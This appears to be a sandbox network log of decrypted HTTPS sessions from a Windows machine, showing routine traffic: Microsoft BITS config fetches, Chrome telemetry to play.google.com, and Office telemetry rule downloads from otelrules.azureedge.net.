2024-11-11 18:17:40 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49725	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:40 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-11 18:17:40 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF45) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=253682 Date: Mon, 11 Nov 2024 18:17:40 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49736	172.217.16.206	443	7324	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:41 UTC	915	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 910 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCLnKzQEIitPNARj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=vsV3B5M1GzjFWHLrxnSS1SaeAqmyRkdkhopuFk45Hr8cNWhj2dFc0w9VOTSqilQ1WLQwFkcKFuH77uqyzPXujdasbOcoD-s1wdYcmFOvnmPh8za73tVPnyaysRSjBdwW9pfb_2EehZ8oRf0tjUsufYWqm0g0_mk6uNXG6gByKYnd0BpSMs6gsMA
2024-11-11 18:17:41 UTC	910	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 33 34 39 30 35 38 35 32 34 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],373,[["1731349058524",null,null,null,
2024-11-11 18:17:41 UTC	1193	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=J0b0bvhZE6lm46VEF4UvACuwsrYGpi6DFKvQEl-oFs-ysIOp0G-k1F0ujWPJu-DM2kUv6DjwkoZGjxc7aNGr4cRplNxqLKylyGEE0tYWe290LD-Hhr2xF3pgRYBwgHrS8bR782tyCpxvW1BCkH1CeXI3Fnb_NXcygybkAS1uAbFVVNP5LQ5Z92k1F5rnw30; expires=Tue, 13-May-2025 18:17:41 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Mon, 11 Nov 2024 18:17:41 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="gfe-default_product_name" Report-To: {"group":"gfe-default_product_name","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/default_product_name"}]} Expires: Mon, 11 Nov 2024 18:17:41 GMT Connection: close Transfer-Encoding: chunked
2024-11-11 18:17:41 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-11 18:17:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.7	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:41 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:41 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 87508168-a01e-0098-0bd5-338556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181741Z-174f7845968vqt9xhC1EWRgten000000058000000000r3nh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:41 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.7	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:41 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:41 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 5f7101d7-901e-0048-4fd5-33b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181741Z-174f78459685m244hC1EWRgp2c000000055g000000008333 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:41 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:41 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:41 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 2f59f113-901e-002a-1dd5-337a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181741Z-174f7845968cpnpfhC1EWR3afc00000005100000000017bw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:41 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:41 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:41 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: dc8e78b0-f01e-0085-35d5-3388ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181741Z-174f7845968cdxdrhC1EWRg0en0000000590000000009f3c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:41 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49737	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:41 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-11 18:17:41 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=253644 Date: Mon, 11 Nov 2024 18:17:41 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-11 18:17:41 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:41 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:42 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 7eed3662-201e-003f-1ad5-336d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181742Z-174f7845968vwdr7hC1EWRsh3w000000054000000000uaan x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:42 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:41 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:42 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 33d00c7b-501e-007b-28d5-335ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181742Z-174f7845968vwdr7hC1EWRsh3w000000056g00000000kqya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:42 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.7	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:41 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:42 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 4e338842-401e-0016-31d5-3353e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181742Z-174f7845968swgbqhC1EWRmnb400000005k00000000008hz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:42 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:41 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:42 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: cd0babfe-b01e-0002-56d5-331b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181742Z-174f7845968nnm4mhC1EWR1rn4000000054g00000000uh9e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:42 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:42 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
